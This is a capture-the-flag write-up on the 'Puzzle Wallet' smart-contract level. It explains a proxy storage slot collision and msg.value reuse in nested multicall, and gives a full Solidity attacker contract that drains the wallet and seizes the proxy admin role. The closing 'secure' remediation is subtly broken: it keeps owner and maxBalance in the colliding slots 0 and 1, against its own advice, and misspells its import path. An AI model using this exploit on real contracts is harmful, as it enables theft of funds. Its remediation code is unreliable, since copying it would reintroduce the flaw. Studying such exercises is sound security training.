🧩 Puzzle Wallet - The Proxy & Multicall Heist

Challenge Overview

In this level, we are faced with an upgradeable wallet contract (PuzzleWallet) wrapped in a proxy contract (PuzzleProxy).

To beat the level, our objective is to hijack the proxy’s administrative role to become the new admin of the PuzzleProxy.

The Catch: The proxy admin variable is located in the proxy’s storage and is only modifiable by the proxy admin themselves. We must discover how storage collisions between proxy/implementation contracts and delegatecall state changes can allow us to overwrite administrative variables.

Technical Analysis

Vulnerability 1: Storage Slot Collision between Proxy and Implementation

Upgradeable proxies use delegatecall to forward transactions to an implementation logic contract. In Solidity, storage is mapped slot-by-slot:

• PuzzleProxy Storage Layout:
  • Slot 0: pendingAdmin
  • Slot 1: admin
• PuzzleWallet Storage Layout:
  • Slot 0: owner
  • Slot 1: maxBalance
  • Slot 2: whitelisted mapping
  • Slot 3: balances mapping

Because storage slot 0 maps to both pendingAdmin (proxy) and owner (wallet), any modification to pendingAdmin inside the proxy context will overwrite the owner variable in the wallet context, and vice versa!

Similarly, slot 1 maps to both admin (proxy) and maxBalance (wallet). Overwriting maxBalance will instantly overwrite admin!

Vulnerability 2: msg.value Reuse in Nested multicall Loop

The PuzzleWallet contract implements a multicall function to batch transaction calls:

1
function multicall(bytes[] calldata data) external payable onlyWhitelisted {
2
    bool depositCalled = false;
3
    for (uint256 i = 0; i < data.length; i++) {
4
        // ...
5
        if (selector == this.deposit.selector) {
6
            require(!depositCalled, "Deposit can only be called once");
7
            depositCalled = true;
8
        }
9
        (bool success,) = address(this).delegatecall(data[i]);
10
        require(success, "Error while delegating call");
11
    }
12
}

While the contract attempts to prevent deposit from being called multiple times using the depositCalled boolean flag, it is vulnerable to a nested call bypass:

1. msg.value remains constant during the entire duration of the transaction execution context.
2. If we call multicall containing a regular deposit call, and a nested multicall call that executes deposit, the flag depositCalled in the local loop is reset, but the transaction still carries the same msg.value!
3. This allows us to deposit 0.001 ETH once but credit our internal contract balance twice (or more), making the contract believe we have deposited 0.002 ETH!

The Exploit: The Multi-Step Heist

To hijack the proxy admin, we execute a multi-phase attack:

1. Takeover Implementation Owner: Call proposeNewAdmin(player) on the proxy. Due to the slot 0 storage collision, this overwrites owner in the implementation storage with our address!
2. Whitelist Ourselves: Since we are now the owner, call addToWhitelist(player) to grant ourselves whitelisted access.
3. Exploit Multicall for Free Credit:
   • Build a multicall payload where the first element is a call to deposit().
   • The second element is a call to multicall() which itself contains a nested call to deposit().
   • Call multicall sending exactly 0.001 ETH. Our balance in PuzzleWallet is now credited as 0.002 ETH, while the contract’s actual balance only increased by 0.001 ETH.
4. Drain the Wallet: Call execute() to withdraw 0.002 ETH (draining the contract’s actual balance to 0).
5. Overstrike Admin (Slot 1): Now that the actual balance is 0, we can successfully call setMaxBalance(uint256(uint160(player))). Because of the slot 1 storage collision, this overwrites the admin slot of the proxy with our player address!

Proof of Concept (PoC)

Below is the Solidity exploit contract that automates the heist:

1
// SPDX-License-Identifier: MIT
2
pragma solidity ^0.8.0;
3

4
interface IPuzzleWallet {
5
    function admin() external view returns (address);
6
    function proposeNewAdmin(address _newAdmin) external;
7
    function addToWhitelist(address addr) external;
8
    function deposit() external payable;
9
    function multicall(bytes[] calldata data) external payable;
10
    function execute(address to, uint256 value, bytes calldata data) external payable;
11
    function setMaxBalance(uint256 _maxBalance) external;
12
}
13

14
contract PuzzleWalletAttacker {
15
    constructor(address payable _target) payable {
16
        IPuzzleWallet wallet = IPuzzleWallet(_target);
17

18
        // 1. Propose new admin on proxy (overwrites implementation owner)
19
        wallet.proposeNewAdmin(address(this));
20

21
        // 2. Whitelist ourselves
22
        wallet.addToWhitelist(address(this));
23

24
        // 3. Craft nested multicall to exploit msg.value reuse
25
        bytes[] memory depositPayload = new bytes[](1);
26
        depositPayload[0] = abi.encodeWithSelector(wallet.deposit.selector);
27

28
        bytes[] memory mainPayload = new bytes[](2);
29
        mainPayload[0] = depositPayload[0]; // First deposit
30
        mainPayload[1] = abi.encodeWithSelector(wallet.multicall.selector, depositPayload); // Nested deposit
31

32
        // Execute batch transaction sending 0.001 ETH
33
        wallet.multicall{value: 0.001 ether}(mainPayload);
34

35
        // 4. Drain the wallet (withdraw 0.002 ETH)
36
        wallet.execute(msg.sender, 0.002 ether, "");
37

38
        // 5. Set max balance (overwrites proxy admin)
39
        wallet.setMaxBalance(uint256(uint160(msg.sender)));
40

41
        // Verify takeover succeeded
42
        require(wallet.admin() == msg.sender, "Hack failed!");
43
    }
44
}

Auditor’s Lessons

1. Avoid Unaligned Proxy Storage: When building upgradeable smart contracts, never declare variables sequentially without matching the proxy’s storage alignment. Use structured storage patterns (like EIP-1967) to store proxy parameters in random slots (e.g., keccak256("eip1967.proxy.admin") - 1) to eliminate collisions.
2. msg.value inside Loops/Multicalls: Never trust msg.value inside loops or delegatecall batched iterations. If batching operations, enforce strict accounting checks or convert msg.value into a WETH credit system first.
3. Audit Whitelist Controls: Restrict critical admin initialization functions to prevent post-deployment hijacking.

Remediation

Refactor PuzzleWallet and its proxy to use aligned, structured storage mappings, and secure multicall from executing nested payable methods:

1
// SPDX-License-Identifier: MIT
2
pragma solidity ^0.8.0;
3

4
import "@openzeppelin/contracts-upgradable/proxy/utils/Initializable.sol";
5

6
contract SecurePuzzleWallet is Initializable {
7
    // Standard structured upgrades
8
    address public owner;
9
    uint256 public maxBalance;
10
    mapping(address => bool) public whitelisted;
11
    mapping(address => uint256) public balances;
12

13
    function initialize() external initializer {
14
        owner = msg.sender;
15
    }
16

17
    // Fix: Block nested multicalls by tracking execution depth
18
    bool private isExecutingMulticall;
19

20
    function multicall(bytes[] calldata data) external payable {
21
        require(!isExecutingMulticall, "Re-entrancy in multicall blocked");
22
        isExecutingMulticall = true;
23

24
        // Loop execution...
25

26
        isExecutingMulticall = false;
27
    }
28
}